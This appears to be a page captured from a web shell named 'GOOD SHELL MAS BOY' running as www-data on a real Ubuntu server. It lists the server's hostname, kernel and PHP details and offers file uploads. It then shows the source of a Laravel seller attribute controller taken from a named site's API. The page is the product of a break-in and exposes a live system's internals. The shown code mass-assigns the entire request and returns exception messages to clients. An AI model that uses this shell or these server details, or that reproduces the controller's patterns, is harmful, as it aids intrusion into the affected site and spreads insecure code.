GOOD SHELL MAS BOY
Server: Apache/2.4.52 (Ubuntu)
System: Linux vmi1836763.contaboserver.net 5.15.0-130-generic #140-Ubuntu SMP Wed Dec 18 17:59:53 UTC 2024 x86_64
User: www-data (33)
PHP: 8.4.10
Disabled: NONE
Upload Files
File: /var/www/api.ayokah.co.uk/app/Http/Controllers/Seller/AttributeController.php
<?php

namespace App\Http\Controllers\Seller;

use App\Models\Attribute;

use Illuminate\Http\Request;
use App\Models\AttributeValue;
use App\Models\ProductVariation;
use App\Http\Controllers\Controller;

class AttributeController extends Controller
{
    public function getAttribute()
    {
        $attributes = Attribute::latest()->get();
        return response()->json(['status' => 'success', 'message' => 'successfully fetched', 'data' => $attributes], 200);
    }

    public function saveAttribute(Request $request)
    {
        try {
            $attributes = Attribute::updateOrCreate(
                ['name' => $request->input('name')],
                $request->all()
            );

            return response()->json([
                'status' => 'success',
                'message' => $attributes->wasRecentlyCreated ? 'Successfully added' : 'Successfully updated',
                'data' => $attributes
            ], 200);
        } catch (\Throwable $th) {
            return response()->json(['status' => 'success', 'message' => 'successfully fetched', 'data' => $th->getMessage()], 500);
        }
    }
    public function saveAttributeValue(Request $request)
    {
        try {
            $attributes = AttributeValue::updateOrCreate(
                ['value' => $request->input('value')],
                $request->all()
            );

            return response()->json([
                'status' => 'success',
                'message' => $attributes->wasRecentlyCreated ? 'Successfully added' : 'Successfully updated',
                'data' => $attributes
            ], 200);
        } catch (\Throwable $th) {
            return response()->json(['status' => 'success', 'message' => 'successfully failed', 'data' => $th->getMessage()], 500);
        }
    }

    public function getAttributeValue()
    {
        try {
            $attributes = AttributeValue::latest()->get();
            return response()->json([
                'status'=> 'success',
                'message'=> 'fetched successfully',
                'data'=> $attributes,
            ],200);
        } catch (\Throwable $th) {
            return response()->json(['status' => 'success', 'message' => 'successfully failed', 'data' => $th->getMessage()], 500);
        }
    }

    public function saveProductAttributeValue(Request $request)
    {
        try {
            $attributes = ProductVariation::updateOrCreate(
                ['product_id'=> $request->input('product_id')],
                $request->all()
                );
                 return response()->json([
                'status' => 'success',
                'message' => $attributes->wasRecentlyCreated ? 'Successfully added' : 'Successfully updated',
                'data' => $attributes
            ], 200);
        } catch (\Throwable $th) {
            return response()->json(['status' => 'success', 'message' => 'successfully failed', 'data' => $th->getMessage()], 500);
        }
    }
}